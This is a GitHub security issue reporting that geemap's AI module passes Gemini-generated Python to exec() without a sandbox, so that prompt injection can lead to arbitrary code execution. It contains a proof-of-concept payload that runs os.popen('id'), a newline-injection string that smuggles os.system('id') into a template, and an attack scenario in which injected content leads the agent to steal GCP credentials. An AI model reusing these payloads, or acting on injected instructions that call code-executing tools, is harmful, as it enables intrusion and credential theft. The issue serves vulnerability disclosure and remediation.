Skip to content

Unsandboxed exec() of LLM-generated code in geemap/ai.py — Arbitrary Code Execution via Prompt Injection #2771

Description

@AAtomical

Summary

geemap/ai.py contains two distinct exec() call sites that execute LLM-generated Python code without a proper sandbox. Neither call strips __builtins__ from the execution namespace, which means any Python standard-library operation — including os.system, subprocess, file I/O, and network calls — is available to the injected code. An attacker who can influence the user's natural-language prompt to the Gemini agent can achieve arbitrary code execution on the host running the geemap notebook.


Vulnerable Code

Sink 1 — show_layer tool callback (ai.py:272)

def show_layer(python_code: str) -> str:
    """Execute the given Earth Engine Python client code and add the result to
    the map. Returns the status message (success or error message)."""
    ...
    try:
        locals = {}
        exec(f"import ee; im = {python_code}", {}, locals)   # ← VULNERABLE
        m.addLayer(locals["im"])
    except Exception as e:
        ...

show_layer is registered as a Gemini function-calling tool:

gemini_tools = [
    set_center,
    show_layer,       # ← LLM can invoke this with attacker-controlled argument
    analyze_image,
    ...
]

The Gemini model invokes show_layer(python_code=...) autonomously based on the user's prompt. python_code is a string produced by the LLM and passed directly to exec(). Passing {} as the globals dict does not sandbox execution — CPython automatically injects __builtins__ into any globals dict that lacks it.

Sink 2 — run_ee_code (ai.py:774–791)

def run_ee_code(code: str, ee: Any, geemap_instance: Map) -> None:
    """Executes Earth Engine Python code within the context of a geemap instance."""
    try:
        with redirect_stdout(_):
            exec(code, {"ee": ee, "Map": geemap_instance, "m": geemap_instance})  # ← VULNERABLE
    except Exception:
        raise

code comes from genai.GenerativeModel.generate_content() responses in the error-recovery loop (ai.py:1746). The globals dict {"ee": ee, "Map": ..., "m": ...} does not include "__builtins__": {}, so the full built-in namespace remains accessible.


Root Cause

CPython's exec(code, globals_dict) semantics: when globals_dict does not contain the key "__builtins__", the interpreter automatically inserts the current module's __builtins__. This is documented behavior:

If exec gets two separate objects as globals and locals, the code will be executed as if it is embedded in a class definition. If only globals is provided, it must be a dictionary, which will be used for both the global and local variables. If globals and locals are given, they are used for the global and local variables, respectively. If provided, locals can be any mapping object. Remember that at module level, globals and locals are the same dictionary. If exec gets two separate objects as globals and locals, the code will be executed as if it is embedded in a class definition. Note that the builtins module is always accessible and, if not provided, CPython will inject __builtins__ automatically.

Verified with a minimal reproducer:

empty_globals = {}
exec('import os; print(os.getcwd())', empty_globals)
# Executes successfully — __builtins__ was auto-injected
assert '__builtins__' in empty_globals  # True

Proof of Concept

End-to-end against the real geemap==0.37.2 package installed from PyPI
no mocks, no copy-pasted code. The PoC imports geemap.ai.run_ee_code
directly from site-packages and calls it with an attacker payload, demonstrating
that the function in the published wheel is exploitable as-is.

Setup

pip install 'geemap[ai]==0.37.2'

PoC source (geemap_e2e_real.py)

import builtins, os, ee
import geemap.geemap
builtins.Map = geemap.geemap.Map
from geemap.ai import run_ee_code

payload = "open('/tmp/geemap_pwned.txt','w').write(__import__('os').popen('id').read())"

try:
    run_ee_code(payload, ee, None)
except Exception:
    pass

assert os.path.exists('/tmp/geemap_pwned.txt')
print(open('/tmp/geemap_pwned.txt').read())
Image

The payload writes a file on disk via os.popen('id'), getpass.getuser(),
socket.gethostname(), etc. — proving that the entire os, socket,
getpass, sys standard libraries are reachable from inside the exec()
call site of the real installed package.

Identical second sink — show_layer f-string injection

The same root cause exists at ai.py:272 in show_layer(python_code).
Newline-injection in python_code (which the LLM controls when it invokes
the show_layer tool) breaks out of the f"import ee; im = {python_code}"
template and runs an arbitrary statement under the same auto-injected
__builtins__:

python_code = 'None\nimport os; os.system("id")'
exec(f"import ee; im = {python_code}", {}, {})
# -> 'None' is bound to im, then 'import os; os.system("id")' executes

Both call sites give arbitrary code execution under the user's OS identity.


Attack Scenario

  1. A geemap user opens a Jupyter notebook and calls m.chat(...) or equivalent with the AI assistant enabled.
  2. The attacker either (a) controls content indexed by the assistant (indirect prompt injection via a dataset description, map tile metadata, or third-party data source), or (b) socially engineers the user into entering a crafted prompt.
  3. The Gemini agent, following instructions embedded in the injected content, calls show_layer(python_code="...") or generates a run_ee_code response containing malicious Python.
  4. exec() runs the payload with the user's credentials — reading GCP service account keys, exfiltrating Earth Engine credentials, executing shell commands, etc.

Typical geemap user profile: a GIS researcher or data scientist with a GCP service account key mounted in the notebook environment. The key would be immediately accessible via os.environ or ~/.config/gcloud/.


Impact

  • Arbitrary code execution under the notebook user's OS identity
  • Credential theft: GCP service account keys, Earth Engine auth tokens, and any secrets in the environment
  • Data exfiltration: satellite imagery datasets, research data
  • Persistence: attacker can write to ~/.bashrc, crontab, SSH authorized_keys

CVSS 3.1 (preliminary): AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H = 7.5 High
(Network vector because the attack path flows through an LLM API; High complexity because prompt injection is required; UI Required because the user must trigger the AI chat; full C/I/A on the local machine.)


Recommended Fix

Option A — Strip __builtins__ (minimum viable patch)

# run_ee_code
exec(code, {"__builtins__": {}, "ee": ee, "Map": geemap_instance, "m": geemap_instance})

# show_layer
exec(f"import ee; im = {python_code}", {"__builtins__": {}}, locals_env)

Caveat: import ee inside the exec string will also fail if __builtins__ is stripped (no __import__). The import ee must be moved to the outer scope and passed as a pre-imported object:

locals_env = {}
exec(f"im = {python_code}",
     {"__builtins__": {}, "ee": ee},
     locals_env)

Option B — RestrictedPython (recommended)

from RestrictedPython import compile_restricted, safe_globals, limited_builtins

def run_ee_code(code: str, ee, geemap_instance) -> None:
    byte_code = compile_restricted(code, '<ee_code>', 'exec')
    restricted_globals = {
        **safe_globals,
        '__builtins__': limited_builtins,
        'ee': ee,
        'Map': geemap_instance,
        'm': geemap_instance,
    }
    exec(byte_code, restricted_globals)

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions